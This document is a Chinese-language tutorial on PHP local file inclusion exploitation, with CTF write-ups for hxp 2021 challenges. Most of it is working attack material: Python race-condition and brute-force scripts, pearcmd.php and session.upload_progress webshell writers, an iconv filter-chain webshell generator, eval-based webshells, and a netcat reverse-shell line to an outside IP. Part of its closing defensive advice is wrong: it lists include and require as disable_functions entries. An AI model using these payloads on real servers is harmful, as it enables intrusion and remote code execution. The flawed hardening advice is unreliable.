LFI 利用体系

多级软链接绕过

基本原理

核心知识点:

  • require_once()include_once() 会将文件路径解析为绝对路径,相同文件只能被包含一次
  • PHP在解析文件路径时,会处理 .././、软链接等,得到最终路径
  • 当软链接跳转次数超过某个上限时,Linux的lstat函数会出错
  • 此时PHP计算出的绝对路径会包含部分软链接路径,与原始路径不同,即可绕过require_once限制

典型防御代码:

1
2
3
4
<?php
require_once '/www/config.php';
require_once $_GET['file'];
?>

问题:
如果config.php已经被包含过,第二次包含会失败,即使使用php://filter也一样。

利用方法

关键路径:

  • /proc/self 指向当前进程的 /proc/pid/
  • /proc/self/root/ 是指向 / 的符号链接

利用步骤:

  1. 使用多重软链接
1
2
3
4
<?php
require_once '/www/config.php';
include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';
?>
  1. 原理解析
  • 正常情况下,PHP会将/proc/self/root/.../www/config.php解析为/www/config.php
  • 但当软链接层数过多时,lstat函数出错
  • PHP计算出的路径包含软链接部分,与原始路径不同
  • 因此绕过了require_once的限制

Payload示例:

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php

适用场景

  • 需要多次包含同一个文件
  • 目标使用了require_onceinclude_once
  • 可以访问/proc/self/root路径

Docker PHP 裸文件包含

问题背景

核心问题:
在使用Docker官方的PHP镜像(如php:7.4-apache)时,Web应用存在文件包含漏洞,但在没有文件上传功能的情况下,如何利用?

典型代码:

1
2
3
<?php
include $_REQUEST['file'];
?>

传统方法失效的原因:

  • 远程文件包含(RFI):默认不开启allow_url_include
  • 日志文件包含:Docker环境中日志被重定向到设备文件
  • 文件上传:没有上传功能

方法一:日志文件包含

在实战中,当功能点少、找不到可包含文件时,通常会尝试包含系统日志、Web日志等。

但在Docker环境中:

  • 容器只运行Apache,没有第三方软件日志
  • Web日志被重定向到/dev/stdout/dev/stderr

Dockerfile中的配置:

1
2
3
4
# logs should go to stdout / stderr
ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"
ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"
ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"

为什么失败:
尝试包含这些日志文件会报错:

1
include(/dev/pts/0): failed to open stream: Permission denied

原因:
PHP没有权限包含设备文件。

结论:
日志包含方法在Docker环境中完全失效。

方法二:phpinfo与条件竞争

日志包含失败后,需要找到其他可控制内容的文件。经典的临时文件包含方法是一个选择。

临时文件生命周期:

  1. PHP接收上传请求,将数据保存到临时文件(/tmp/phpXXXXXX
  2. 临时文件名格式:php + 6个随机字符
  3. PHP文件执行完毕后,临时文件被清理

利用思路:
在”PHP writes data to temp file”到”php removes temp files”之间的时间窗口,包含临时文件。

关键点:

  • phpinfo页面会输出$_FILES变量,包含完整临时文件名
  • 需要条件竞争:一个线程上传并获取文件名,另一个线程包含

利用步骤:

  1. 发送上传请求到phpinfo页面
1
2
3
4
5
import requests

url = 'http://target.com/phpinfo.php'
files = {'file': ('test.php', '<?php phpinfo(); ?>')}
r = requests.post(url, files=files)
  1. 从phpinfo中提取临时文件名
1
2
3
4
import re

pattern = r'/tmp/php[A-Za-z0-9]{6}'
temp_file = re.search(pattern, r.text).group(0)
  1. 条件竞争包含临时文件
1
2
3
4
5
6
7
8
9
10
import threading

def include_file():
while True:
r = requests.get(f'http://target.com/vuln.php?file={temp_file}')
if 'PHP Version' in r.text:
print('[+] Success!')
break

threading.Thread(target=include_file).start()

提高成功率的方法:

  • 使用大量线程进行包含操作
  • 如果开启output_buffering,可以流式读取phpinfo
  • 在请求头中插入大量垃圾字符,使phpinfo返回时间更长

局限性:

  1. 需要phpinfo页面:现在很少有机会在实战中找到
  2. 需要网络条件好:条件竞争对网络延迟敏感
  3. 成功率不稳定:依赖临时文件生命周期

结论:
虽然可行,但条件苛刻,实战中难以应用。

方法三:Windows通配符

phpinfo方法需要phpinfo页面和网络条件好,实战中很难满足。

如果目标操作系统是Windows,可以利用特殊通配符匹配临时文件名。

Windows API特性:
PHP在Windows下使用FindFirstFileExW API查找文件,该API支持特殊通配符。

特殊通配符:

  • DOS_STAR(<):匹配0个以上字符
  • DOS_QM(>):匹配1个字符
  • DOS_DOT("):匹配点号

来源:
这些定义来自ntifs.h头文件:

1
2
3
#define DOS_STAR        (L'<')
#define DOS_QM (L'>')
#define DOS_DOT (L'"')

利用步骤:

  1. 发送上传包
1
2
3
4
5
6
import requests

url = 'http://target.com/vuln.php'
files = {'file': ('test.php', '<?php phpinfo(); ?>')}
data = {'file': 'C:\\Windows\\Temp\\php<<'}
r = requests.post(url, files=files, data=data)
  1. PHP自动匹配临时文件
  • 上传文件时,PHP创建临时文件
  • 文件包含时,使用通配符php<<匹配临时文件名
  • 无需知道具体文件名

Payload示例:

1
?file=C:\Windows\Temp\php<<

局限性:

  1. 仅限Windows系统:Linux系统不适用
  2. 需要文件上传功能:虽然不需要保存文件,但需要触发上传

结论:
解决了临时文件名未知的问题,但仅适用于Windows系统。

方法四:session.upload_progress

前三种方法在Docker环境中都存在局限性:

  • 日志包含:权限问题
  • phpinfo:需要phpinfo页面
  • Windows通配符:仅限Windows

需要找到一种在Docker环境中通用的方法。

session.upload_progress功能:

  • PHP为上传进度条设计的功能
  • 上传文件时,将进度信息保存在Session中
  • Session默认保存在文件中

配置要求:

1
2
3
4
session.upload_progress.enabled = On      # 默认开启
session.upload_progress.cleanup = On # 默认开启
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

利用条件:

  1. session.upload_progress.enabled = On(默认开启)
  2. 能够发送文件上传请求
  3. Cookie中包含Session ID
  4. 需要条件竞争(因为cleanup默认开启)

关键点:

  • 通过PHP_SESSION_UPLOAD_PROGRESS字段控制Session内容
  • Session文件名可控(通过PHPSESSID)
  • 比phpinfo方法简单,因为文件名已知

利用步骤:

  1. 构造上传请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://target.com/upload.php'
session_id = 'test123'

files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]

data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("/tmp/success", "<?php phpinfo();?>"); ?>'
}

cookies = {
'PHPSESSID': session_id
}

r = requests.post(url, files=files, data=data, cookies=cookies)
  1. 条件竞争包含Session文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import threading
import requests

session_id = 'test123'
session_file = f'/tmp/sess_{session_id}'

def upload():
while True:
files = [('file', ('test.txt', b'a' * 40960))]
data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php phpinfo(); ?>'}
cookies = {'PHPSESSID': session_id}
try:
requests.post('http://target.com/upload.php', files=files, data=data, cookies=cookies, timeout=1)
except:
pass

def include():
while True:
try:
r = requests.get(f'http://target.com/vuln.php?file={session_file}')
if 'PHP Version' in r.text:
print('[+] Success!')
break
except:
pass

upload_thread = threading.Thread(target=upload)
upload_thread.start()

for _ in range(100):
include()

注意事项:

  • 必须上传两个以上文件,否则不会创建Session文件
  • Session文件名可控,比临时文件包含简单
  • 几乎不会失败

局限性:

  1. 需要条件竞争:虽然比phpinfo简单,但仍需要竞争
  2. 依赖Session功能:需要session.upload_progress.enabled = On

结论:
在Docker环境中非常实用,但仍需要条件竞争。

方法五:Segfault遗留下临时文件

如果session.upload_progress.enabled被关闭,前面的方法都失效了。

利用PHP的bug导致进程crash,使临时文件不被删除。

临时文件删除机制:

  • 临时文件在请求结束后被删除
  • 如果PHP进程在请求结束前异常退出,临时文件不会被删除
  • Apache或PHP-FPM的master进程会拉起新的子进程

利用思路:
通过触发PHP的bug导致crash,遗留下临时文件,然后爆破文件名。

导致crash的方法:

  1. php://filter string.strip_tags(PHP 7.1.19及以下)
1
include 'php://filter/string.strip_tags/resource=/etc/passwd';
  1. php://filter convert.quoted-printable-encode
1
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));

利用步骤:

  1. 发送导致crash的请求
1
2
3
4
5
import requests

url = 'http://target.com/vuln.php'
for i in range(10):
r = requests.get(f'{url}?file=php://filter/string.strip_tags/resource=/etc/passwd')
  1. 爆破临时文件名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string

url = 'http://target.com/vuln.php'
chars = string.ascii_letters + string.digits

for c1 in chars:
for c2 in chars:
for c3 in chars:
for c4 in chars:
for c5 in chars:
for c6 in chars:
temp_file = f'/tmp/php{c1}{c2}{c3}{c4}{c5}{c6}'
r = requests.get(f'{url}?file={temp_file}')
if 'PHP Version' in r.text:
print(f'[+] Found: {temp_file}')
break

提高成功率的方法:

  • 在一个数据包中多放一些文件表单(最多20个)
  • 多发送几次数据包
  • 增加爆破成功率

局限性:

  1. 依赖PHP版本:需要特定版本的PHP漏洞
  2. 需要爆破:临时文件名仍然未知
  3. 可能影响服务:导致PHP进程crash

结论:
适用于特定PHP版本,但需要爆破。

方法六:pearcmd.php

前面的方法都有各自的局限性:

  • 日志包含:权限问题
  • phpinfo:需要phpinfo页面
  • Windows通配符:仅限Windows
  • session.upload_progress:需要条件竞争
  • Segfault:需要特定PHP版本

需要找到一种更通用的方法。

利用Docker环境中默认安装的pear/pecl工具,通过pearcmd.php创建文件。

pear/pecl工具:

  • pecl是PHP扩展管理工具
  • pear是pecl依赖的类库
  • Docker镜像中默认安装
  • 安装路径:/usr/local/lib/php

register_argc_argv配置:

  • 当开启时,query string会被解析为argv
  • 符合RFC3875规范
  • Docker环境中默认开启

利用思路:

  • 包含pearcmd.php
  • 通过query string传递参数
  • 执行pear命令(如config-create)创建文件

源码分析:
PHP源码中的逻辑:

1
2
3
4
5
6
7
8
if (PG(register_argc_argv)) {
if (SG(request_info).argc) {
// 使用已有的argc和argv
} else {
// 将query string解析为argv
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
}
}

关键:
SG(request_info).query_string会被作为argv的值。

利用步骤:

  1. 查看register_argc_argv状态
1
?file=/usr/local/lib/php/pearcmd.php&+config-create+/&/tmp/shell.php
  1. 利用pearcmd.php创建文件
1
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php
  1. 包含创建的文件
1
?file=/tmp/shell.php

局限性:

  1. 需要register_argc_argv开启:Docker环境默认开启
  2. 需要访问pear目录:需要能够访问/usr/local/lib/php
  3. 需要文件包含漏洞:这是前提条件

结论:
在Docker环境中非常实用,无需条件竞争,无需爆破。

总结

方法对比:

方法优点缺点适用场景
日志包含简单直接Docker中权限问题非Docker环境
phpinfo文件名已知需要phpinfo页面有phpinfo页面
Windows通配符无需爆破仅限WindowsWindows系统
session.upload_progress文件名可控需要条件竞争Docker环境
Segfault无需条件竞争需要特定PHP版本特定PHP版本
pearcmd.php无需竞争、无需爆破需要register_argc_argvDocker环境

推荐顺序:

  1. pearcmd.php:Docker环境首选
  2. session.upload_progress:次选,需要条件竞争
  3. phpinfo:如果有phpinfo页面
  4. Windows通配符:Windows系统
  5. Segfault:特定PHP版本
  6. 日志包含:非Docker环境

hxp CTF 2021 LFI挑战

Includer’s revenge - Nginx Fastcgi Temp LFI

题目代码:

1
2
3
<?php
($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
?>

Dockerfile限制:

1
2
RUN chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions

核心知识点:

  • Nginx在Fastcgi响应过大时会产生临时文件
  • 临时文件保存在/var/lib/nginx/fastcgi/目录
  • 临时文件格式:/var/lib/nginx/fastcgi/x/y/0000000yx
  • 阈值大小约32KB
  • 临时文件被删除后,文件描述符仍然存在
  • 可以通过/proc/PID/fd/访问已删除的文件

利用步骤:

  1. 产生临时文件
1
2
3
4
5
import requests

url = 'http://target.com/index.php?action=read&file=/proc/self/root/proc/self/root/.../etc/passwd'
data = 'A' * 500000 # 超过32KB阈值
r = requests.get(url, data=data)
  1. 通过/proc/PID/fd/访问临时文件
1
2
3
4
5
6
7
8
import requests

# 获取Nginx进程ID
pid = get_nginx_pid()

# 访问临时文件
url = f'http://target.com/index.php?action=include&file=/proc/{pid}/fd/X'
r = requests.get(url)
  1. 结合多重软链接绕过include_once
1
?file=/proc/self/root/proc/self/root/.../proc/{pid}/fd/X

原理解析:

  • Nginx创建临时文件后立即删除
  • 但文件描述符仍然存在
  • 可以通过/proc/PID/fd/访问
  • 结合多重软链接绕过include_once限制

The End Of LFI - PHP Filter编码技巧

题目代码:

1
2
3
<?php
($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
?>

核心知识点:

  • PHP Base64 Filter忽略非法字符
  • 可以通过iconv filter编码转换构造特定字符
  • 无需临时文件即可RCE
  • 利用固定文件内容(如/etc/passwd)生成webshell

Base64 Filter特性:

  • 合法字符:A-Za-z0-9\/\=\+
  • 非法字符会被忽略
  • 包括不可见字符、控制字符

验证:

1
2
3
4
5
<?php
$a = "\x1bY\xffQ\xfa"; // YQ 为 a 的 base64 编码
var_dump(base64_decode($a));
// string(1) "a"
?>

iconv编码转换:

1
2
3
4
5
<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output: some+ADwAPg-text
?>

构造Payload:

  1. 目标webshell:
1
<?=`$_GET[0]`;;?>
  1. Base64编码:
1
PD89YCRfR0VUWzBdYDs7Pz4=
  1. 编码转换规则:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
  1. 构造完整Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
// ... 同上
);

$filters = "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";

echo $final_payload;
?>
  1. 利用:
1
?file=php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|...|convert.base64-decode/resource=/etc/passwd&0=id

原理解析:

  • 通过iconv编码转换,从固定文件内容中构造出base64字符串
  • 使用convert.base64-decode解码得到webshell
  • convert.iconv.UTF8.UTF7用于处理等号问题

PHP 伪协议详解

php://filter

作用:
读取文件内容,支持各种编码转换。

语法:

1
php://filter/<过滤器链>/<资源>

常用过滤器:

  1. read过滤器
  • convert.base64-encode:Base64编码
  • convert.base64-decode:Base64解码
  • string.rot13:ROT13编码
  • string.toupper:转大写
  • string.tolower:转小写
  • string.strip_tags:去除HTML标签
  • convert.iconv.*:字符编码转换
  1. write过滤器
  • convert.base64-decode:Base64解码
  • string.rot13:ROT13解码

利用示例:

  1. 读取文件(Base64编码)
1
?file=php://filter/convert.base64-encode/resource=/etc/passwd
  1. 读取文件(ROT13编码)
1
?file=php://filter/string.rot13/resource=/etc/passwd
  1. 多重过滤器
1
?file=php://filter/convert.base64-encode|convert.iconv.UTF-8.UTF-16/resource=/etc/passwd
  1. 绕过死亡exit
1
2
?file=php://filter/string.strip_tags|convert.base64-encode/resource=php://input
POST: <?php phpinfo();?>

高级技巧:

  1. 利用iconv构造特定字符
1
php://filter/convert.iconv.UTF-8.UTF-7/resource=data://,<?php phpinfo();?>
  1. 利用string.strip_tags导致crash
1
php://filter/string.strip_tags/resource=/etc/passwd

php://input

作用:
读取POST请求的原始数据。

利用条件:

  • allow_url_include = On(某些版本不需要)
  • 需要能够发送POST请求

利用示例:

  1. 执行PHP代码
1
2
?file=php://input
POST: <?php phpinfo();?>
  1. 写入文件
1
2
?file=php://input
POST: <?php file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>');?>

注意事项:

  • 某些WAF会拦截php://input
  • 需要Content-Type为application/x-www-form-urlencodedmultipart/form-data

data://

作用:
以数据流形式传递数据。

利用条件:

  • allow_url_include = On

语法:

1
2
data://<MIME类型>,<数据>
data://<MIME类型>;base64,<Base64数据>

利用示例:

  1. 执行PHP代码
1
?file=data://text/plain,<?php phpinfo();?>
  1. Base64编码
1
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
  1. 指定MIME类型
1
?file=data://text/php,<?php system('id');?>

绕过技巧:

  1. URL编码
1
?file=data://%74%65%78%74/%70%6c%61%69%6e,<?php phpinfo();?>
  1. 使用其他MIME类型
1
?file=data://image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBD...

file://

作用:
访问本地文件系统。

语法:

1
file://<文件路径>

利用示例:

  1. 读取文件
1
?file=file:///etc/passwd
  1. 读取PHP文件
1
?file=file:///var/www/html/config.php

注意事项:

  • 必须使用绝对路径
  • 需要文件读取权限

zip://

作用:
读取ZIP压缩包中的文件。

语法:

1
zip://<ZIP文件路径>#<文件名>

利用示例:

  1. 读取ZIP中的文件
1
?file=zip:///var/www/html/upload.zip#shell.php
  1. 创建恶意ZIP
1
2
3
4
5
import zipfile

zf = zipfile.ZipFile('evil.zip', 'w')
zf.writestr('shell.php', '<?php @eval($_POST[cmd]);?>')
zf.close()

注意事项:

  • 使用#分隔ZIP文件和内部文件
  • #需要URL编码为%23

phar://

作用:
读取PHAR(PHP Archive)文件中的文件。

语法:

1
phar://<PHAR文件路径>/<文件名>

利用示例:

  1. 读取PHAR中的文件
1
?file=phar:///var/www/html/upload.phar/shell.php
  1. 创建恶意PHAR
1
2
3
4
5
6
<?php
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php @eval($_POST[cmd]);?>');
$phar->stopBuffering();
?>

高级利用:

  • PHAR反序列化漏洞
  • 配合文件上传漏洞

expect://

作用:
执行系统命令。

利用条件:

  • 安装了expect扩展
  • allow_url_include = On

利用示例:

  1. 执行命令
1
?file=expect://id
  1. 反弹Shell
1
?file=expect://nc -e /bin/bash 192.168.1.100 4444

注意事项:

  • 很少有环境安装expect扩展
  • 命令执行结果可能不返回

glob://

作用:
查找匹配的文件路径。

语法:

1
glob://<通配符模式>

利用示例:

  1. 查找所有PHP文件
1
?file=glob:///var/www/html/*.php
  1. 查找所有文件
1
?file=glob:///*/*

注意事项:

  • 不返回文件内容,只返回文件名
  • 用于信息收集

伪协议对比

伪协议作用条件常用场景
php://filter读取文件、编码转换读取敏感文件
php://input读取POST数据allow_url_include代码执行
data://数据流allow_url_include代码执行
file://访问本地文件读取文件
zip://读取ZIP文件配合上传
phar://读取PHAR文件配合上传、反序列化
expect://执行命令expect扩展命令执行
glob://查找文件信息收集

防御建议

代码层面

  1. 避免动态包含
1
2
3
4
5
// 不推荐
include $_GET['file'];

// 推荐
include '/path/to/safe/file.php';
  1. 使用白名单验证
1
2
3
4
5
6
7
8
9
10
$allowed_files = [
'header.php',
'footer.php',
'sidebar.php'
];

$file = $_GET['file'] ?? 'header.php';
if (in_array($file, $allowed_files)) {
include $file;
}
  1. 禁用危险函数
1
2
// 禁用include/require
disable_functions = include,include_once,require,require_once

配置层面

  1. 禁用远程文件包含
1
2
allow_url_include = Off
allow_url_fopen = Off
  1. 限制文件访问
1
open_basedir = /var/www/html:/tmp
  1. 禁用危险伪协议
1
disable_functions = include,include_once,require,require_once

服务器层面

  1. 文件权限控制
1
2
chmod 755 /var/www/html
chown -R www-data:www-data /var/www/html
  1. 禁用目录遍历
1
2
3
<Directory /var/www/html>
Options -Indexes
</Directory>
  1. WAF防护
  • 拦截包含伪协议的请求
  • 拦截包含../的请求
  • 拦截包含敏感路径的请求

参考资源